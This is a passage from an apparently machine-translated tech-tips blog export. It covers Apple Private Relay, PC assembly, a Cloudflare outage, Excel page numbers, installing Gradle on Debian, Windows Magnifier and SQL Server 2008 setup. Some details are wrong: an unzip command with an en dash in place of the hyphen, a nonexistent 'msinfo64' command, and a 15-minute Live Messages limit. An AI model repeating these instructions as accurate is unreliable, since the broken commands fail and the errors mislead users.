VPN, the ISP can't see the website you visit, but the VPN can. This is one of the reasons why you should use VPN services that promise not to save user data.\nBy using two servers, Apple solved the VPN problem. Suppose. Apple knows what the first server is doing, but they can't know what the second server is doing because everything is encrypted. It's a rather subtle solution and reminiscent of Tor.\nHowever, Private Relay has a weakness that it will automatically assign you an IP address in your area. This means you won't be able to assign yourself an IP address from another region or select a specific region like a VPN.\nIs Private Relay the same as Tor? Private Relay's multi-point routing system is very similar to how Tor protects users' identities. Typically, Tor will pass users' traffic through nodes, usually small servers run by volunteers. These nodes can be just a personal computer.\nThe difference is that Private Relay has only two data transfer points (2 servers) while Tor can provide up to dozens of nodes for some connections. By reducing data rotation to 2 and using proprietary servers, Apple has solved Tor's biggest weakness: speed.\nHow will Private Relay be implemented? Currently, Apple has not announced the release date of the Private Relay feature. On the first iOS 15 beta version, TipsMake has not yet seen the appearance of this feature.\nAt launch, Private Relay will be part of an iCloud+ plan with some additional privacy features. iCloud+ is available for free to customers who are paying for existing iCloud storage.\nIt is possible that when implemented, Private Relay will not be available in some countries because of legal issues. For example, China and Belarus are currently two countries that ban VPNs, while Saudi Arabia and Turkmenistan also discourage people from using VPNs.\n  Can Private Relay replace VPN? Overall, iCloud+ is a set of additional privacy and security features to an already reasonably priced iCloud plan. However, Private Relay is hardly a complete replacement for VPN and Tor.\nAlthough secure and private, Private Relay is not giving users much choice. Currently Private Relay only supports Safari browser and does not allow to select the region. If Private Relay can work well on both browsers and other applications as well as allowing users to customize IPs, then VPN will definitely reduce users.\nFor now, VPN is still a more flexible and powerful tool than Private Relay. However, for those who do not use VPN, Private Relay is a much more accessible and simple solution.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWgp7a3rdOeZKudnJbGbrvNZqCoq11mgm610magrWWSmsG1sdFmq6GZnmKubsLPpw%3D%3D\n","link":"/post/what-is-private-relay-on-ios-15-is-it-better-than-a-vpn/","section":"post","tags":null,"title":"What is Private Relay on iOS 15? Is it better than a VPN?"},{"body":"Question 1: How many squares are there in the picture below?\n  Question 2. How many triangles are there in the picture below?\n  Question 3. How many triangles does the figure below have?\n  Question 4. Fill in question mark number?\n  Question 5. Enter the appropriate number in the question mark?\n  Question 6. Select the correct image to fill in the question mark?\n  Question 7. Which picture is missing in question mark?\n  Question 8. Which picture is the given picture made up of?\n  Question 9. Which picture is given to like?\n  Question 10. Fill in missing picture in question mark?\n  Answer\nQuestion 1 : 16 squares.\nQuestion 2 : 19 triangles.\nQuestion 3: \u0026nbsp;15 triangles.\nQuestion 4 : Mango: 10, Peach: 5, Banana: 2 =\u0026gt; the result is 25.\nQuestion 5 : Gloves: 4, shirt: 2, handbag: 3 =\u0026gt; the correct answer is 13.\nQuestion 6 : E.\nIn each large square there is a small square, alternating black-and-white. At the same time, the shapes in the large square have 5 sides.\nQuestion 7 : D\nIn each hexagon there is a multiplication sign and a circle. The circle is always gray, while the multiplication sign will alternate between black and white, as opposed to the hexagon color.\nIn addition, the circle and multiplication sign move slowly clockwise.\nThe hexagon to be filled in should be white, the multiplication sign is black and located at the diagonal upper corner.\nQuestion 8 : B\nThe given figure is composed of a parallelogram above and two equal squares below.\nQuestion 9 : D\nWhen we reverse the given image, we will get figure D.\nQuestion 10 : C\nIn each row, the triangle in the left cell and the right cell will match.\nncG1vNJzZmismaXArq3KnmWcp51kfnF5y6ieoptdpcK7xsueqmasmJbBbsDErKtmsZ%2Bqv26x2J6qop%2BYqXqiusNmq6GhnqC2r7M%3D\n","link":"/post/10-logic-puzzles-that-test-your-eyesight-and-thinking/","section":"post","tags":null,"title":"10 logic puzzles that test your eyesight and thinking"},{"body":"TipsMake.com - For the first time ever leave many impressions. And if you've ever assembled a computer for yourself, you'll probably never forget the experience of doing this for the first time .\nYou have spent a lot of time and sweat to have a complete system. Even if you finally get the result that a computer works well, you still feel that assembly work is not simple.\nPlease don't worry because this is of course. Like many other things, computer assembly is a skill that requires patience, time, and above all training to be mastered. But the results are always worthy of the effort you spend, even though the initial steps are a bit arduous.\n  This article is not a step-by-step guide to assembling computers. Because if you've assembled the computer before, you've probably figured out the basics to do. The following tips only help you save time and conduct your work more effectively.\nThese are just the most basic tips before you assemble a computer yourself. Specific steps are introduced in the following series: Setting up your own computer - Part 2: Hardware assembly\n1. Research, research and research.\nThe most important step of assembling a computer is the process that happens before you start holding the screw - screw on your hand. It is an initial preparation step to make sure you have the right parts. You need to invest a lot of time in researching the computer component market, learning about the components involved and making sure that the things you want to buy are compatible with each other.\nHere are some questions to keep in mind:\nIf you're going to buy an Intel microprocessor, is it compatible with the motherboard you're considering?\n Does the RAM slot on the motherboard and DIMM have the same speed to reduce bottlenecks?\n Does the motherboard have enough ports for the peripherals you plan to buy?\n If you think it may be necessary to upgrade later, have you reserved space for expansion? Such as drive bay, slot, etc.\n Does the source you want to buy have enough capacity to operate all other hardware?\n 2. Grounding.\nYour body is very easily charged especially when you work in a carpeted room or even when you have just passed a carpet to get to the place where you assembled the computer. Electrostatic force can only make you feel slightly jerky but is enough to damage computer hardware. To be safe, release static electricity from your body before touching anything. Some sets of computer repair tools have antistatic wrist bands, you can equip yourself if you want. However, there is a simpler way that you just need to touch something metal on the ground.\n3. Keep the bag.\nStill related to electrostatic problems: we often tend to throw away unnecessary things when conducting peeling, beating boxes of components to prepare the assembly process. However, antistatic bags (such as motherboards) are worth keeping. Even if you only use them to store components temporarily during long-term assembly or retention, these bags still help you protect the components you have spent on buying.\n4. Prepare mentally to spend more time than expected.\nEverything always seems simple when you look at the ingredients in the box or read the documentation. However, they can become surprisingly complicated when you actually start assembling. For example, you will have to spend a lot of time struggling to drop a screw into the case, when the DIMM is not as tightly attached as you think, or when groping with the loose wires. Even experts sometimes get stuck, so don't expect everything to be smooth from start to finish.\n5. Prepare tongs.\n  The most important tool you need when you install that computer is the screwdriver. However, there is also a necessity that you should be prepared with three-sided tongs. If your screw head is not magnetized or even if it can suck like a magnet, you still have the ability to drop the screw into some corner in the case, at least once in the whole assembly process. At this point, the grip - the device has three flexible edges and the size is smaller than your finger - will help you get the screw out of the place where your hand can't reach. This tool comes in most computer tool kits.\n6. Install the power supply first.\nInstall the power adapter in the chassis before you proceed to install other things. Once you have installed things like motherboard, fan, drive, etc. In the front case, you will have difficulty realizing that there is no space to put the power supply into. You should place the power supply in the front and then arrange the individual wires while attaching other things. The arrangement of the power cord may be a bit laborious, but it is more than recognizing that you cannot thread the power supply through the heat sink on the CPU, so that it must be removed from the beginning.\n7. Think carefully before putting components into the case.\nPlease calculate and install everything that can be outside before putting it into the case. This will help you have more space to perform demanding tasks such as installing the processor and heat sink on the motherboard. Depending on your motherboard structure and hardware design, this may be impossible, but if you can install it outside it will be very convenient. If you have a removable case or a bracket for a hard drive, an SSD or an optical drive, you will find it easier to install from the outside and then attach it to the case.\n8. Don't be dismayed.\nAssembling a computer is not a difficult task once you are determined to do it. Although there will be times when you have problems, but you should not be discouraged by even those who are proficient also have a basic error such as: forget to connect the power cable, play the wrong wire, etc. Even if you know exactly what you do, it's still easier for you to get into trouble than you might think (such as installing the radiator for an Intel microprocessor can drive everyone crazy). But, be patient and keep the spirit, the results will be worth the effort you spend. No one can be perfect from the beginning, but the feeling of pressing the Power button and monitoring the computer you assemble on your own will be terrific.\nIf you have any valuable experience when building your own computer, please share with us and other readers by commenting below this article!\nncG1vNJzZmismaXArq3KnmWcp51khW7AyKmqZq%2BYmrtuxc6uZLCZnql6tbuMmqqsnZ2XuaZ506GcZpufor22wMSrZLKnpafAprjF\n","link":"/post/8-tips-when-you-want-to-assemble-the-computer-yourself/","section":"post","tags":null,"title":"8 tips when you want to assemble the computer yourself"},{"body":"The world famous intermediary DNS service, Cloudflare has just encountered a problem, causing the Cloudflare.com homepage and a series of websites using the company's services to meet 502 Bad Gateway and cannot be accessed.\nSpecifically, about 20h45 on 02/07/2019, a series of large websites like Apkpure.com, y8.com could not be accessed, the gamers also said they could not play the game LOL. Even some websites are often used to check whether other web services are offline or not, such as Down Detector and Down For Everyone Or Just Me are inaccessible.\nWhen TipsMake.com finds out, it detects that the homepage and the services of Cloudflare are in trouble, causing related sites to experience 502 Bad Gateway error.\n  Matthew Prince, co-founder and CEO of Cloudflare, wrote on Twitter that he knew the incident Cloudflare greatly affected networks and websites. A long list of affected cities has also been listed, including Hanoi and Ho Chi Minh City. HCM City of Vietnam.\n  502 Bad Gateway is an HTTP status code that indicates a server-side error. When this error occurs, the user can only wait for the server side of the web service to fix the error and there is no way to interfere with the error correction process.\nHowever, Cloudflare has fixed the problem very quickly, until 21h15, the Cloudflare home page and the trouble sites can be accessed normally.\nAccording to Wikipedia: \"Cloudflare, Inc. is a US company that provides content distribution networks, Internet security services, and domain server distribution services, standing between visitors and saved service providers. Cloudflare users store, acting as a reverse proxy for websites \".\nContent delivery network services like Cloudflare are designed to provide high availability for websites, by ensuring that there are always a number of servers hosting them and responding to visitor requests. When the service has problems, it will affect every website that uses it.\nIn addition to the above websites, Discord messaging platform is also among the affected Cloudflare clients, along with a number of electronic money trading platforms. Coindesk e-news news site said that Cloudflare had trouble causing the price data of Bitcoin they received to display incorrectly, $ 26 instead of $ 10,300.\nUpdate: Matthew Prince said the cause of the incident was due to CPU overload that caused major systems and backup systems to crash, affecting all services.\nThe post on Cloudflare's blog said the sudden increase in CPU usage was due to the deployment of bad software. After revoking this bad software, all services have returned to normal operation and all Cloudflare domains are restored.\nncG1vNJzZmismaXArq3KnmWcp51ksK271J2dpZmimnqprdJmmGaooqSvrbHMZphmq5Wntqa%2FjKidZqSRp7SmedaemayhpJrAbq3RnmSnp6RirqSvxKyqopqcmg%3D%3D\n","link":"/post/cloudflare-has-a-problem-a-series-of-large-websites-are-not-accessible/","section":"post","tags":null,"title":"Cloudflare has a problem, a series of large websites are not accessible"},{"body":"If you just got the new AirTag, you'll want to get up and running. Before you do, make sure you have updated your iPhone or iPad to iOS 14.5 or iPadOS 14.5 respectively. You can check your iOS version under Settings\u0026gt; General\u0026gt; Software Update .\nHow to add AirTag to iPhone and iPad Make sure iPhone is unlocked and showing the home screen.\nRemove the battery from the AirTag and reinsert it if you haven't already, then keep the device close to your iPhone.\nClick Connect appears on the screen.\nSelect a name from the list, or select Custom Name to type a name and select an emoticon, then click Continue .\n  Select Continue to register the device with Apple ID, then click Finish .\n  How to add AirTag to the Find My app If you want, you can sign up for a new AirTag right in the Find My app.\nOpen the Find My app , choose Items .\nScroll down to the bottom of the list of widgets, select Add New Item .\nSelect Add AirTag and follow the on-screen instructions.\n  If the AirTag is registered with someone else's ‌Apple ID‌, they'll need to unlink it before you can add the device. This can be done in the Find My app on their ‌iPhone‌.\nairtag iphone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqitdGtmKBlpKR6tbTEZp2ippRiurp5wKmnZqeeYraxtM6nnA%3D%3D\n","link":"/post/how-to-add-airtag-to-the-find-my-app-on-iphone/","section":"post","tags":null,"title":"How to add AirTag to the Find My app on iPhone"},{"body":"Currently, the post spam or automatically post on Facebook wall to advertise or for certain purposes a lot. You do not want to be bothered or have bad images, the lines you share do not want to appear on your timeline.\nIn default facebook all friends can post on your facebook wall, but you can fix by setting to prevent friends from posting on facebook wall. The following article shows how to block friends from posting on the wall (timeline) facebook.\nStep 1: You need to login to your facebook account.\nStep 2: Select the arrow on the top right and select Settings .\n  Step 3: In the General account settings section, select Timeline and tag in the menu on the left.\n  Step 4: In the Who can add content section to my timeline? select Edit in the Who can post to your timeline?\n  There are 2 options:\n- Friends: allow your friends to post to your timeline.\n- Only me: only you can post to your timeline.\nTo block friends from posting on the wall, select Only me .\n  Then click Close .\n  So you have blocked friends from posting to your timeline, to unblock friends from posting on the wall you follow the same steps above and select Friends in the Who can post to the timeline of friend? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecWroJ6mlKh6p77OpmSpp6Optq%2BzjKilZp6RmLKju86kZLCZnKE%3D\n","link":"/post/how-to-block-friends-from-posting-on-facebook-wall/","section":"post","tags":null,"title":"How to block friends from posting on Facebook wall"},{"body":"The operation of numbering Word pages in order from the first page, or inserting Word page numbers from any page is a basic and familiar requirement for those who work in the office. Excel also supports users to insert page numbers, but the implementation is completely different on Word .\nWith statistics, research or documents divided by different sections, you also need to type the page number for Excel as you work on Word. However, in Excel there will be no Page Number option like in Word to insert the page number, but you will have to use the Page Setup group to create the page number for Excel. The following article guides you how to insert page numbers in Excel.\nHow to create Header in Microsoft Excel Inserting letters, logos sink into Microsoft Excel 2013 How to insert text into images in Excel How to write page numbers in Excel Step 1:\nIn the Excel interface, click on the Page Layout tab and then click on the arrow on the right corner in this setting group.\n  Step 2:\nThe Page Setup dialog box appears, click the Header / Footer tab . Here the user can choose to insert the Excel page number at the top of the page, by clicking on the Custome Header. If you want to insert at the bottom of the page, click Customer Footer. Here I choose to insert it at the bottom of the footer so click Customer Footer .\n  Step 3:\nThe Footer dialog box appears. You will have 3 positions to place the page number including Left section (left), Center section (center), Right section (right). If you want to set the position of the page, place the cursor there and click on the Insert Page Number icon as shown below.\n  Step 4:\nImmediately appear \u0026amp; [Page] in the location we selected earlier, click OK to finish.\n  Step 5:\nClick OK to close the Page Setup interface. Now to check if the page number has been inserted into Excel, click on the Office icon on the interface and select Print\u0026gt; Print Preview .\n  Users will see the page number appearing in the document interface.\n  So you can insert the page number in Excel already. There is no built-in Page Number feature on Excel, but you need to create the page number by customizing the Page Setup page in Excel. This is similar to creating a Haeder or Footer for Excel, but we will click on the letter A to enter the content.\nVideo tutorial to insert page numbers in Excel See also: How to repeat titles in Excel 2007, 2010 and 2013 when printing.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIypmKCdXaPCrq7Eq6pmoZ5isrmvxKU%3D\n","link":"/post/how-to-insert-page-numbers-in-excel/","section":"post","tags":null,"title":"How to insert page numbers in Excel"},{"body":"Install Gradle on Debian 10 System update Install Java SE Download Gradle binaries Extract the Gradle file Set environment variables The first step is to open a Terminal (shell) window or connect to your Debian system's console using SSH.\nYou're learning how to install Gradle on Debian 10 via Terminal, which can be launched by searching for it in the Activities search bar . The newly opened Terminal window is shown below:\n A new Terminal window opens\nSystem update Before continuing to install Gradle on Debian 10, update the system using the command below, then press the Enter key :\nsudo apt update This is also shown in the following image:\n System update command\nOnce your Debian 10 system has updated all the required packages, you should be able to see the following screen on the Terminal window:\n System update\nInstall Java SE Now, you need to have Java Standard Edition (SE) on your Debian 10 system. This can be done by entering the following command in Terminal and then pressing the Enter key :\nsudo apt install default-jdk During the process of handling this command, your Debian 10 system needs to be sure that you are really ready to install the command. You can type 'Y' and then press the Enter key if you are sure to continue with the Java SE installation:\n Confirm the installation of Java SE\nThis entire process will take a few minutes to complete, after which you should be able to see the results displayed in Terminal:\n The results show up in Terminal\nUp to now, Java SE has been successfully installed on your Debian 10 system. If you want to verify that it is actually installed, then you can do so with the help of the following command:\njava -version Successful execution of this command will result in the Java SE version displayed.\nDownload Gradle binaries The next step is to download Gradle binaries on a Debian 10 system. This can be done by entering the following command in Terminal and then pressing the Enter key :\nwget https://services.gradle.org/distributions/gradle-6.3-bin.zip -P /tmp If you get the error message running this command, then the wget command is most likely not activated on a Debian 10 system. Wget can be activated by typing the following command and pressing the Enter key :\nsudo apt-get install wget Once the wget command is successfully installed, you can conveniently run the above command. Once Gradle has been successfully downloaded on a Debian 10 system, you should see the results displayed in the Terminal:\n Gradle has been successfully downloaded on a Debian 10 system\nExtract the Gradle file Since the Gradle file you just downloaded is in binary format, the next thing to do is unzip it. This can be done simply with the help of the following command:\nsudo unzip –d /opt/gradle /tmp/gradle-*.zip Running this command will extract the files from the tmp directory and save them in the opt directory . Now the Debian 10 system will do some processing, then the Terminal window will look like this:\n Extract the Gradle file\nTo verify if the extraction was performed successfully, you can try to display the contents of the extracted folder with the help of the following command:\nls /opt/gradle/gradle-* If the Gradle files have been successfully extracted, you should be able to see them in Terminal.\nSet environment variables Now, you need to set the environment variables by creating a new file called gradle.sh with the help of the following command:\nsudo nano /etc/profile.d/gradle.sh After creating this file, add the content shown in the following image to the newly created file. Then save the file and close it.\nNow, you need to make this newly created file executable by running the following command:\nsudo chmod +x /etc/profile.d/gradle.sh Next, run the following command in Terminal to load the newly set environment variables:\nsource /etc/profile.d/gradle.sh Gradle has now been successfully installed on your Debian 10 system.\nTo verify that, simply enter the following command in Terminal, then press the Enter key :\ngradle -v Gradle has been successfully installed on your Debian 10 system!\nDebian Debian 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmnquZlKGybrvNZpuempmWu259jw%3D%3D\n","link":"/post/how-to-install-gradle-on-debian-10/","section":"post","tags":null,"title":"How to Install Gradle on Debian 10"},{"body":"One of the other great features of the Samsung Galaxy Note 8 is the S Pen. In this version, the S Pen button has also been upgraded and greatly improved, to meet user needs. In particular, with the S Pen we can add it with the Live Messages feature that allows you to draw dynamic messages to send to others. Besides, animations drawn with the S Pen will have a light effect, look pretty and artistic. So how to use the Live Messages feature on Samsung Galaxy Note 8?\nStep 1:\nWe get the S Pen on the device and then we have options for quick notes. Users click on Live Messages (Live Messages) to appear a pop-up window.\n  Step 2:\nIn the left corner of the window will appear a few icons that provide different options, such as choosing letter line spacing, lighting effects that make the text look more sparkling, change the text thickness, choose color for text.\nBesides, you can also use the images available on the device to be the shooting background.\nThe thickness or color for the text may vary but the effect for the text will be the same. Finally you just need to write the content you want to send the message. Each dynamic message will have a time of 15 minutes, not counting the time between the lines so you can optionally edit the text for a pleasant fit.\n  Step 3:\nThe underside will have additional undo buttons to remove the last stroke, reset to delete the entire content and the run button to display the final content. When finished, press the complete button to save the content as a GIF image.\nIf we are opening a text importer like a message, the GIF image will automatically be imported as an image to send. In case of not opening any application, the animated drawing message will save directly to the library, as a GIF file.\n  In the lower right corner of the Live Messages frame is a collection of animated messages that the user has drawn and saved on the device. If you have a need to use it again, just open and click to use.\nDelivering exciting messaging on the Samsung Galaxy Note 8, the Live Messages feature helps you create hand-drawn animations with beautiful lighting effects. Animated and saved messages can be shared right on the email, or stored with multiple applications installed on the device.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmo6KulWK6pr%2FSmp6eq12bsqLA1KucZqeeYsCiudKupaBll5a5osTYZqWorJVihQ%3D%3D\n","link":"/post/how-to-use-the-live-messages-feature-on-samsung-galaxy-note-8/","section":"post","tags":null,"title":"How to use the Live Messages feature on Samsung Galaxy Note 8"},{"body":"When buying any technological device, the first thing you are interested in is definitely the parameter. And when you buy a computer, too, the configuration of the computer as well as the human brain, it decides everything from performance to performance. But not everyone is familiar with the configuration of their computer. Or they may not install properly as they have set. Today, Thuthuatphanmem.vn will guide you how to view the fastest and most accurate computer configuration information.\n  1. Use the Dxdiag command Step 1: Go to the Windows icon in the left corner of the screen and enter Dxdiag .\n  Step 2: When the Dxdiag window appears, all you need to do is keep track of the parameters. In the System section, this will display the Mainboard, CPU, RAM, your Windows version.\n  Next, Display will display your video card.\n  2. Use Computer Properties to view the configuration Step 1: Right-click This PC and select Properties .\n  Step 2: See the specifications of his machine\n  3. Check the information using the Msinfo32 / 64 command Step 1: For Windows 8.1 / 10 and above, click the Windows icon in the left corner of the screen, then type Run to open the Run window .\n  Step 2: When the Run window is displayed, enter msinfo32 (If your computer uses 32-bit Windows) or msinfo64 (If your computer uses Windows 64-bit).\n  Step 3: When the System Information window appears, it displays a lot of system information such as: Windows version, system name, CPU, RAM, VGA .\n  4. Use CPU-Z software CPU-Z is a very familiar software on the phone with viewing phone configuration. On the same computer, CPU Z was developed with the purpose of viewing the configuration of your computer.\nStep 1: Download CPU-Z and follow the link of the developer.\nhttps://www.cpuid.com/softwares/cpu-z.html\nStep 2: You proceed to install CPU-Z normally. Select I accept the agreement\n  Step 3: After the installation is complete, boot up CPU-Z to see information.\n  CPU: See your Chip, how much generation, power consumption, clock speed, Cache . Mainboard: See your manufacturer and motherboard name Memory: See the amount of RAM, running mode, . Graphics: View information about your video card   (Here our machine uses main ASRock H61M-VG4)\n  (My device is using DDR3 RAM, 8GB capacity and running Dual Channel)\n  (My computer is using Intel On-Board card)\nAbove are ways for you to check your computer configuration fastest and most accurate. Good luck !\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6ZmsRur86mp66slad6pLvNn6CgraKWwaq7zWagp56fp7qiwMiopQ%3D%3D\n","link":"/post/how-to-view-computer-configuration-information/","section":"post","tags":null,"title":"How to view computer configuration information"},{"body":"Most likely many of you use a computer but don't know that windows has a feature that helps us enlarge the screen, which is called Magnifier. This feature will be quite useful for those who have trouble seeing as near-sighted for example. The magnifier feature exists from windows 7 to windows 10 it still exists and in the following article TipsMake.com will show you how to use the magnifier feature on windows to enlarge the computer screen. Invite you to follow!\n  1. For windows 10 To activate the Magnifier feature, you have 2 ways, the first way is to press Windows key and plus sign (+) and the second way is to open the search feature and enter the word Magnifier, then the result of Magnifier feature will be appear:\n  And here is the interface of the magnifier, which can be said to be simpler and easier to use:\nWe have 2 buttons - and + to zoom in and out, besides the zoom percentage parameter.\n  Click the Views button we will have 3 Zoom modes as follows:\n  - Full screen mode : Your entire screen will be maximized.\n  - Lens mode : Zoom in an area around your mouse cursor, ie you hover the mouse to any position, that position will be zoomed up.\n  - Dock mode : The zoom location will be at a specified position on the screen, the default will be at the top of the screen.\nAs you can see in the image below, the entire rectangular strip at the top of the screen displays the enlarged area.\n  The zoom area is not necessarily on the top, you can expand or drag it elsewhere as shown below:\n  In addition, when you click on the settings icon, the Magnifier setup window will appear:\n  You can also customize some of the magnifier's features such as changing the zoom area color, resizing the zoom area in Lens mode.\n  When there is no need to use anymore, you just need to press Windows key + Esc to exit.\n2. For Windows 7 On Windows 7, the Magnifier function is no different, to activate you also press the Windows key with the + button or open Start to search for Magnifier\n  Magnifier's interface is the same as on windows 10:\n  How to use Magnifier on windows 7 is exactly the same on windows 10, please do the same.\nSome useful keyboard shortcuts when using Magnifier:\nWindows + (+/-): zoom in and out Ctrl + Alt + Spacebar: View the entire desktop desktop in full screen mode Ctrl + Alt + D: switch to docked mode Ctrl + Alt + F: switch to full screen mode Ctrl + Alt + I: change color Ctrl + Alt + L: switch to lens mode Ctrl + Alt + R: Resize Len Windows key + Esc: exit the magnifying glass Above is an article on how to enlarge your computer screen with the Magnifier tool available in windows 7 and windows 10. Hope you will find the article helpful, thank you for watching.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZrKfpLputc1mmKecXaTCtXnOn2Scp52lwrWx0WaqnKqVmrtuw8itn2alkZy7qrLInqlmp55ixKq6w6iurGVnYnqiusNmZLChnpm8uL%2BMamc%3D\n","link":"/post/how-to-zoom-in-and-out-of-computer-screen-with-magnifier-on-windows-7-windows-10/","section":"post","tags":null,"title":"How to zoom in and out of computer screen with Magnifier on Windows 7 \u0026amp; Windows 10"},{"body":"TipsMake.com - Before installing SQL Server 2008 you need to make sure your device meets the requirements for SQL Server 2008 . There are many different requirements for SQL Server 2008 that must be met, depending on the version of SQL Server you are installing and the operating system platform you are using. Before installing SQL Server 2008, you should review the following website to determine the correct machine settings for your environment: http://msdn.microsoft.com/en-us/library/ms143506.aspx.\nThe purpose of this article will install an evaluation version of SQL Server 2008 Enterprise Edition. From these operating system bases, we will install SQL Server on Windows 2003 Enterprise Edition SP1. The machine in this example is also configured with drives C, D, E, F, and G; We will use different drives to place different components of SQL Server.\nInitial installation process The first time you insert the SQL Server 2008 CD into your drive, it will automatically start the setup process for SQL Server 2008. If the installation does not start, you can find the ' setup.exe ' file and run it. . When starting the installation process it will check your computer to make sure the .Net Framework and an updated copy of the Windows installer are on your computer. If this process does not occur on the computer, it will require installation of the installation before installing SQL Sever 2008. Once you have installed it, the machine will require a reboot before you can install it. SQL Server 2008. Once the computer has all the appropriate conditions, it will proceed with the installation and the setup process will be as follows:\n  On this window you can see there are a number of different options you can use. There are different items of SQL Server 2008 that can be selected in the right pane within an item in the left pane selected. In the case of this example, the ' Planning ' item is currently selected. Note it is displayed in bold font. To install SQL Server 2008, you will need to click on \" installation \". Then the screen displays:\n  On this window you may also have a number of different options related to installing SQL Server.\nInstallation of SQL Server 2008 When you click on \" Stand-alone installation or add features to New SQL Server installation \" ( SQL Server simply installs or add features to set up installation ) a series of processes will run and some dialogs will is displayed to configure SQL Server 2008 the way you want. In SQL Server 2008 some new configuration options are displayed during the installation process, which is not available in the previous version. After clicking on \" New SQL Server stand-alone installation \" the machine will set up a verification process to verify that your system is set up correctly. The first is to check the system configuration. After each process check process, you have a summary report that says whether the system is compliant. In that report, you have the option to view a detailed report of each rule. You should see the detailed rule report to verify the report. If you find a rule that needs to be corrected, you will need to resolve the issue and then check the rules again. The next window displays: \" Product Key \". On this window, you will need to select the version you want to install and enter the Product Key. The list of versions displayed will depend on the media you use to install. Select the appropriate version, enter the key and then click the \" Next \" button. Next is the window showing the terms of the \" License Terms \" license . On this screen you should read the license terms. If you agree to the license terms then click on the accept box and press the \" Next \" button to switch to the installation. Next, you will be prompted to install the installation files. Click the \" Install \" button to start the file installation process. After all files are installed, a summary of the installation process will be launched. If all of the necessary installation conditions are sufficient, you will allow to proceed with the installation, otherwise you will need to fix the problems in the report and run the setup setup again. Once again this process has set up a link so you can review the details of the setup setup. You should review the details before proceeding, to know exactly about each installation rule. Once you are ready to install, click the \" Next \" button. A window appears:\n The screen window displays various features of SQL Server 2008 that you can install. Here you will click on the appropriate boxes for the features you want to install. For the purpose of this article we will only select \" Database Engine Services \", \" SQL Server Books Online \", \" Management Tools - Basic \", and \" Management Tools -Complete \". Also, on this screen you can select the folder containing these installation files. In the case of this example, install the features that are left on drive E. After all features are selected, and you have determined the location where you want the sharing features to be installed, you can Then click \" Next \" button to proceed. The following window will appear:\n On the window, specify whether or not you have to install the default instance or a named instance , you fill in your own ID and the root directory contains that. In this example, the default setting is ' default instance ' and the identifier for the instance ID is MSSQLSERVER . In the root directory ' instance root directory ', we specify a location in the C drive. Once again, click on the ' Next ' button. The installation process will calculate whether the available disk space is sufficient for the properties you choose. The process will report free space for each drive. Review the disk space requirement. If not enough, you need to specify a different location, now you can use the 'back' button to go back and change the installation location. If you are satisfied with the free space and address, click the ' Next ' button. A new window will appear:\n  On this window you can use the \" Server Accounts \" tab to specify the account that you will use to run other SQL Server 2008 services and use the \" Collation \" tag to specify the mix you want to use. In this case, we choose the same account for all SQL Server services. So it is possible to enter that account multiple times with each service, or you can click \" Use the same account for all SQL Server services \" and enter only the account and password once. On the screen you can also specify the status each service you want during startup. Your choice is \" Manual \", \" Automatic \" or \" Disabled \". We want the SQL Server Agent and SQL Server Database system to start automatically and the SQL Server Browser service becomes more ineffective. To set up the blending range you use the \" Collation \" tab. The default \"Collation\" setting is \" SQL_Latin1_General_CP1_CI_AS \". Please click on the ' Collation ' tab to verify the correct blending sequence is indicated before proceeding, once again you have the conditions to set up the server configuration, click the ' Next ' button to install. conducted. The new window will appear as follows:\n On the screen, you specify the configuration information of the database. There are 3 different tags to perform: Account Provisioning , Data Directories , and FILESTREAM . Above you can see the \" Account Provisioning \" configuration option. Here you can specify properties by using only the authentication window or you want to run mixed mode to support SQL Server and the login credentials window. If you select \" Mixed Mode \" then you will need to enter the password for the SA account (nothing more wrong than leaving the SA account blank). Another change is that the \"BUILTINAdministrators\" user is not added by default, so there are not many backdoors for members of the admin group. Now, you can also add an option to add users you want to replace in ' syadmin '. You must place at least one user here. This allows users to login to SQL Server 2008 after installation is complete. You do that by using the ' Add ' button to add them in the screen above. Alternatively, you can use the ' Add Current User ' button to add use in the system administrator. Now there are a lot of options for how to configure the data folder you want on the install, to fill in the information you click on ' Data Directories ' in the above window. A new window will appear:\n You can specify different directories for: user database DATA files, database user LOG files, tempdb DATA / LOG files, and back up directory . This allows for easier separation of your databases DATA and LOG files on different drives. And also ensure the system databases and tempdb files are on different drives. When you do this, you are more optimistic about placing components in the installation to reduce I / O bottlenecks. Here's how to configure our directory:\n  We have placed the database DATA user file on drive E, while user LOG files on drive G. Also put tempdb DATA and LOG files on drive F. This will help you separate some drives between components. .\nIf you want to configure FILESTREAM during the installation process, you can use the ' FILESTREAM ' tag. The information below this card allows you to specify exactly how you want to activate and configure FILESTREAM. Once satisfied with the database configuration option, click the ' Next ' button. Doing this will bring up an \" Errors and Usage Reporting \" window where you can send errors and feature usage information to Microsoft. Once you have decided to report to Microsoft, there will be another ' Next ' button to click to move on to the next step of the installation process, which is all verification of the installation rules. You should check this window to verify that all installation rules are met for each installation component, and then click the ' Next ' button. At the last installation window, you get the final review of the installation options you selected. If there are a few things you want to change, you can use the ' Back ' button to change them. Once satisfied with the installation configuration, click on the ' install ' button. The machine will begin the installation process and install the components you selected in the location you specified. When the installation process finishes, the following window will appear:\n  Here, you can see all the selected components have been successfully installed. When you click on the ' Next ' button, the ' Close ' screen is displayed, I can click the 'close' button to finish the installation of SQL Server 2008.\nConclude You can see there are many different options for configuring SQL Server 2008. Hopefully this article will help you understand the different options to consider in order to ensure your configuration settings take place. out smoothly. You should plan ahead for components of SQL Server on different drives and accounts you have or accounts you want to use for different SQL Server features. This will help you succeed in configuring SQL Server the way you want the first time you install SQL Server 2008.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpWWjprluv8SrrZ6qXWd9cYQ%3D\n","link":"/post/install-sql-server-2008/","section":"post","tags":null,"title":"Install SQL Server 2008"},{"body":"Unlike Ubuntu or Linux Mint, Arch Linux is a distributed Linux distribution in a continuous format (Rolling release). This means you only need to install once and keep getting the latest version updates. It is also a barebone distribution that gives complete control over what you want to install on your system.\nThis article will guide you through the basic steps of installing Arch Linux. One thing to note is that the installation of Arch Linux is a bit complicated, you need to carefully follow the instructions below.\n17 lightweight 